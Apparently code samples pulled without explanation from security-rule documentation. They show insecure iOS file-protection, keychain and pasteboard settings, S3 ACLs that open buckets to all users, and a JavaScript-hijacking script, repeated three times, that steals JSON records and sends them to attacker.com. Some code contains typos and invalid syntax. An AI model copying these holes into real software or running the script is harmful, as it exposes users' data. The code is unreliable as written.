...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSDictionary *protection = [NSDictionary dictionaryWithObject:NSFileProtectionCompleteUntilFirstUserAuthentication forKey:NSFileProtectionKey];
...
[[NSFileManager defaultManager] setAttributes:protection ofItemAtPath:filepath error:nil];
...
BOOL ok = [testToWrite writeToFile:filepath atomically:YES encoding:NSUnicodeStringEncoding error:&err];
...

...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSData *textData = [textToWrite dataUsingEncoding:NSUnicodeStingEncoding];
...
BOOL ok = [textData writeToFile:filepath options:NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication error:&err];
...

...
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

    // Configure KeyChain Item
    [dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
    [dict setObject:token forKey:(__bridge id)kSecValueData];
    ...
    [dict setObject:(__bridge id)kSecAttrAccessibleAfterFirstUnlock forKey:(__bridge id) kSecAttrAccessible];

    OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...

...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSDictionary *protection = [NSDictionary dictionaryWithObject:NSFileProtectionNone forKey:NSFileProtectionKey];
...
[[NSFileManager defaultManager] setAttributes:protection ofItemAtPath:filepath error:nil];
...
BOOL ok = [testToWrite writeToFile:filepath atomically:YES encoding:NSUnicodeStringEncoding error:&err];
...

...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSData *textData = [textToWrite dataUsingEncoding:NSUnicodeStingEncoding];
...
BOOL ok = [textData writeToFile:filepath options:NSDataWritingFileProtectionNone error:&err];
...

...
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

    // Configure KeyChain Item
    [dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
    [dict setObject:token forKey:(__bridge id)kSecValueData];
    ...
    [dict setObject:(__bridge id)kSecAttrAccessibleAlways forKey:(__bridge id) kSecAttrAccessible];

    OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...

    Realm realm = Realm.getDefaultInstance();

- (void) imagePickerController:(UIImagePickerController *)picker didFinishPickingMediaWithInfo:(NSDictionary *)info
{
	// Access the uncropped image from info dictionary
	UIImage *image = [info objectForKey:UIImagePickerControllerOriginalImage];

  // Save image
  UIImageWriteToSavedPhotosAlbum(image, self, @selector(image:didFinishSavingWithError:contextInfo:), nil);

	...
}

...
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

    // Configure KeyChain Item
    [dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
    [dict setObject:token forKey:(__bridge id)kSecValueData];
    ...
    [dict setObject:(__bridge id)kSecAttrAccessibleWhenUnlockedThisDeviceOnly forKey:(__bridge id) kSecAttrAccessible];

    OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...

  ...
  UIPasteboard *pasteboard = [UIPasteboard pasteboardWithName:@"myPasteboard" create:YES];
  [pasteboard setPersistent:YES];
  ...

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("FullControl");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("READ_ACP");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("Read");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("WRITE_ACP");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("Write");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
NSDictionary *items = @{
    UTTypePlainText : sensitiveDataString,
    UTTypePNG : [UIImage imageWithData:medicalImageData]
};
[pasteboard setItems: @[items]];
...

...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
[pasteboard setObjects:@[sensitiveDataString, [UIImage imageWithData:medicalImageData]] 
            localOnly:NO 
            expirationDate:[NSDate distantFuture]];
...

...
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

    // Configure Keychain Item
    [dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
    [dict setObject:token forKey:(__bridge id)kSecValueData];
    ...

    OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

from django.http.response import JsonResponse
...
def handle_upload(request):
  response = JsonResponse(sensitive_data, safe=False)  # Sensitive data is stored in a list
  return response

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>